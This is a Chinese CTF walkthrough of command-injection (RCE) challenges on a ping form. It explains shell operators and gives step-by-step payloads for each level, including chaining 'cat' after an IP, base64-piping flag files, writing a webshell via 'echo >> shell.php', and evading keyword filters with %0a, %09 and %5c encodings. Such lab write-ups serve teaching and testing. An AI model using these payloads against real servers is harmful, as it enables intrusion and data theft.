在开始之前我们进行一些简单的了解,其实我也是做题做到后面才发现一些知识是必要去掌握的♂️♀️♀️♂️♀️♀️
知识点-这里最好了解一下
RCE分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
其中对于不同系统的命令指示又有着不同的命令符:
1. “|”:直接执行后面的语句。
2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
. “;”:执行完前面的语句再执行后面的语句。
. “|”:显示后面语句的执行结果。
. “||”:当前面的语句执行出错时,执行后面的语句。
. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
127.01.01.1
127.01.01.1&ls
127.01.01.1&cat 120731029228103.php
没有结果,这里可能是文件中包含特殊符号,使用管道运行base64加密内容
127.01.01.1&cat *.php | base64
尝试base64解密
这里还有第二种方法,利用命令执行写入一句话木马
127.0.0.1 &echo "" >> shell.php
因为环境问题,昨天还可以今天就不行了,但是方法是可行的!
本文开始前先贴出一些小知识:
linux查看文本的命令
cat
由第一行开始显示内容,并将所有内容输出tac
从最后一行倒序显示内容,并将所有内容输出more
根据窗口大小,一页一页的现实文件内容less
和more
类似,但其优点可以往前翻页,而且进行可以搜索字符head
只显示头几行tail
只显示最后几行nl
类似于cat -n,显示时输出行号tailf
类似于tail -f127.0.0.1
127.0.0.1&ls
127.0.0.1&cat flag_30210295964775.php
127.0.0.1 &echo "" >> shell.php
127.0.0.1/**/&/**/ls
127.0.0.1/**/&/**/cat/**/flag_12333170278981.php
127.0.0.1|cat<flag_12333170278981.php|base64
解题思路:
1、既然’/‘
无法使用那我们可以使用cd 进入文件夹中
2、对管道进行使用base64加密
按照惯例对题目文件目录进行查看
127.0.0.1&ls
cd进入文件目录
cd 进入flag_is_here目录,
ls 显示flag_is_here目录里的内容。
127.0.0.1;cd flag_is_here;ls
进入该文件中获取信息
1、cd
进入文件
2、cat
获取文件内容
3、base64
进行加密显示内容
127.0.0.1;cd flag_is_here;cat flag_11328226429806.php|base64
|和&
两个运算符,这两种运算符在这里是无法执行后面的命令;
分隔运算符进行命令老样子,先检索目录吧
127.0.0.1;ls
127.0.0.1;cat flag_14322672312813.php
哇哦,flag呢不要急,这次我们不用base64对内容加密获取了,我们来看看文件的源码,看看藏在哪
这不是出来了
由于对|
进行过滤了,直接对管道进行base64加密
127.0.0.1;base64 flag_14322672312813.php
接下来我们来进行解题吧
可以看到本题过滤了:/ \ & ; cat flag ctfhub
这些运算符
在本题中
1、使用%0a代替换行符
2、使用%09a替代TABJ补充被过滤的flag
3、%5c 代替 \(用 \ 来分隔开 cat ,因为 cat 也被过滤了)
检索目录
127.0.0.1%0als
进入到FLAG文件中
127.0.0.1%0als
这里%09用于补充被过滤掉的flag
接下看我们查看flag_324582491729512.php的内容信息
127.0.0.1%0acd%09*_is_here%0aca%5ct%09*_324582491729512.php
在这里因为cat被过滤了因此需要%5c将cat分隔开绕过过滤
127.0.0.1%0acd%09*_is_here%0abase64%09*_324582491729512.php